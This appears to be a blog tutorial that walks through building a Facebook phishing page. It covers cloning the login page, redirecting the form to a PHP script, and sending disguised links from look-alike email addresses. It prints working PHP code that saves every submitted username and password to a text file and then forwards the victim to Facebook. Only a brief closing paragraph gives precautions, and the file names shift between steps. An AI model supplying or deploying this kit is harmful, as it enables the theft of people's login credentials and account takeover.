Here, i am going to explain one of the popular social engineering attack(luring user to do whatever you asked to do.), called "
phishing" .
Phishing is one of the popular hacking technique used by hackers to lure victims into giving their login credentials.
Phishing WebPage:
Phishing webpage is a fake webpage of the target website that helps
hackers to lure the victim into believe that they are visiting the
legitimate website.
Let me explain how to create a facebook phishing page.
Step 1:
Go to facebook and right click on website . Select "View source" and copy the code to notepad.
The source of the page is displayed in the browser. Right click on the page and click on
Save As. Save the page as
index.html on your computer.
Step2:
Now search (Press ctrl +f) for keyword "action" in that code.
You fill find the code like this:
Here, let me explain what "action" means to. If you have some basic
knowledge of web applications, then you already know about that.
'Action' is a HTML attribute that specifies where to send the form-data
when a form is submitted.
In the above code, the action attribute has the value that points to
facebook login php file (https://login.facebook.com/login.php). So when
a user click the login button, it will send the data to the login.php
page. This php file will check whether the entered password is valid or
not .
To capture the form-data, we have to change the action value to our php
file. So let us change the value to ' action="login.php" '. Note: I've
removed ' http://login.facebook.com/' from the value.
Save the file as index.html.
Step 3:
Now , let us create our own login.php file that will capture the entered data and redirects to original facebook page.
Open the notepad and type the following code:
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
save this file as "login.php"
Step 4:
Open the notepad and just save the file as "pswrds.txt" (without any contents).
Now our files are ready.Next step is to
upload these files to any free web hosting site available on the
internet. Google for free web hosting sites, select any one of them(I
selected bytehost7), create an account with username as close to
Facebook as possible and delete the index.html file available in the
htdocs folder.Then using Online File Management upload your own
index.html and phish.php files to the htdocs folder. Your htdocs folder
will look like below.
Let’s check if our phishing page is ready
by typing the address of our site. If the page is like belowthen our
phishing page is working.
The next thing we have to do is to send
address of our fake website to the victim. We will do this through
sending him an email but in order for the victim not to smell something
fishy, we will obfuscate the url of the fake page we are about to send
him. The sending email address should be as convincingly close to
facebook as possible.
When the victim clicks on the obfuscated url, it will bring him to our fake site.
If the victim is not cautious enough as to
observing the url and enters his username and password, our attempt is a
success. To show this, I will enter random values in both username
field and password field and hit Enter.
Now a txt file with name pass.txt will be created in the htdocs folder containing both the username and the password.
Click on the file. We can see both the
email and the password i have entered. The email is “don’t get hacked”
and the password is “like me”.
Counter Point:
If you don’t want to fall
victim to phishing, you can take a few precautions . If you want to open
a site type the address directly in the url and don’t open any
redirected links. Don’t click on any mails which look malicious like
asking for your login credentials.
![[Image: Facebook+Profile+Ids.png]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg00nreF9gpkkjpCm-hzap_pHCyv6AAmJ7AEPHFAHxYMRZnS94bxcbSMV-XU1hJ3tunxyn6bFoCFogYqOqwJs-4JyryaEvyeIvt3OABkn89km54ACr7ZpaZ6n0LvXBYQGEkTD1TijXRxQg8/s400/Facebook+Profile+Ids.png)
![[Image: Facebook+Profile+Ids.png]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRVrfqW-8Cv_L0Rt7kVdAbzDM1HfptRr1pr2f5i5C8sfq0Avz5-gjv19IuK9WQ_c15zxRs4H0Gor1_pRr5KgLyJsfWozrfB_3wGxjrjpC-Ct8s7OyNMc-CpGLS42JxhkCu-wDcLYbnVjX8/s400/Facebook+Profile+Ids.png)
![[Image: Facebook+Profile+Id.png]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDofiQ1d7A_16hI1boC-dqmGe6MWZxIfLA5znc2O0mhfQihZ9DTtWn5ITWnWlcB4gn96SpedT72QIIIYSXsuEglrj4wnLdrT6iWIrTZirFRKumKqVkaLt-3uwITV0eDOZ1A9WlGKwBo8XK/s400/Facebook+Profile+Id.png)
